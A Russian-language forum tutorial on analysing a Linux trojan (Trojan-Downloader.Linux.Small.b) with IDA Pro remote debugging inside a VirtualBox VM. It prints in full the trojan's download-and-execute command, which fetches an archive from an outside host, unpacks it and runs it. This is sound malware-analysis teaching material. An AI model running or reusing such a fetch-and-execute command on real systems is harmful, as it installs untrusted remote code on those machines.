Linux + IDA Pro

Тема в разделе "Linux", создана пользователем CLAY, 1 апр 2017.

  1. CLAY

    CLAY Member

    Сообщения:
    419
    Симпатии:
    5
    Сегодня продолжим рассказ о работе с вредоносными программами в Linux. На этот раз к делу подключается тяжелая артиллерия - IDA Pro. Этот незаменимый инструмент имеет в своем составе средства для отладки программ в Windows, Linux и MacOS. К Mac OS мы еще возможно вернемся в другой раз, а сейчас в качестве экспериментальной платформы используется привычная виртуальная машина VirtualBox с Ubuntu 10.04 на борту.



    Итак, начнем с того, что найдем в каталоге с IDA файл linux_server:

    Его нужно передать в виртуальную машину и запустить в терминале:

    По умолчанию используется порт 23946. Порт можно сменить, добавив параметр -р и указав следом желаемый номер. Номер порта указывается без пробела. Так же можно задать и пароль - для этого используется прописная буква: -P, а следом указывается пароль, тоже без пробела. Например так:

    Код:
    ./linux_server -p2999 -Psecret
    После этого можно запускать привычную нам версию IDA Pro для Windows.

    В качестве подопытного зловреда выступит Trojan-Downloader.Linux.Small.b - он достаточно прост и хорошо подойдет для примера.

    После того, как отлаживаемый файл выбран обратимся к опциям отладки, а конкретно к настройкам процесса:

    Что у нас тут?

    Тут нас интересуют настройки подключения. Указываем адрес или имя системы, на которой запущен linux_server. Задаем порт. Для упрощения жизни аналитика порт по-умолчанию будет выставлен автоматически в 23946, так же, как порт для сервера. Если при запуске linux_server пароль не был задан - оставляем строку пустой, если был - указываем его. Следует учитывать, что пароль при вводе не скрывается звездочками, а показывается в открытом виде. Так что если за спиной стоит шпион - не используйте свой дежурный пароль от всего :rolleys:

    Об удачном подключении будет свидетельствовать сообщение в консоли сервера:

    После этого отладка идет вполне привычно.

    Заглянем, что у нашего троянца внутри:

    Работа с сокетами... А где же бинд порта? А вот он:

    После открытия порта троянец начинает его слушать и ждет, когда кто-нибудь подключится и дальше работать не хочет. Что ж, хочешь общения - ты его получишь. На этот раз запускаем консоль уже в Windows и используя утилиту telnet" подключаемся к порту, на котором нас ждет вредонос.

    Интересно, что никаких данных передавать троянцу не требуется - он продолжает работать сразу после подключения.

    И вот мы подходим к самой важной части, которая является ключевой:

    Троянец передает системе на выполнение команду:
    Код:
    wget http://yoyoparty.com/upload/angela.tgz & tar zxvf angela.tgz & cd angela & exec angela
    Архива по ссылке давно нет, поэтому можно привести ее целиком так, как она указана во вредоносе.

    Что делает эта команда?

    - качает указанный файл и сохраняет его в текущий каталог tar zxvf angela.tgz - распаковывает архив angela.tgz в текущий каталог cd angela - переход в каталог angela exec angela - запускает файл angela на исполнение

    Указание нескольких команд, разделенных символом & подразумевает одновременное исполнение всего. При этом в консоли, где запущен linux_server можно видеть следующее:

    Как видим, команды exec и cd рапортуют об ошибке. Это не удивительно, так как файла в момент запуска команд еще нет. По той же причине ругается архиватор tar. А вот wget сработал. Только скачал не архив, а стандартную страницу 404 - файл на сервере не обнаружен.

    После этого троянец возвращается к прослушиваемому порту и снова ожидает подключения. Представим алгоритм работы в псевдокоде при помощи той же IDA:

    Как видим, цикл работы троянца не закончится никогда, так как условие while (1) всегда истинно.

    Получается, что если бы ссылка была действительна, то на первой итерации файл был бы скачан, на второй - разархивирован, на третий произошел бы переход в каталог с разархивированным файлом, а на четвертой произошел бы его запуск.

    Жаль, что ссылка оказалась нерабочей. Ведь мне самому интересно, что такого может сделать вредонос в Linux с правами обычного пользователя.

Поделиться этой страницей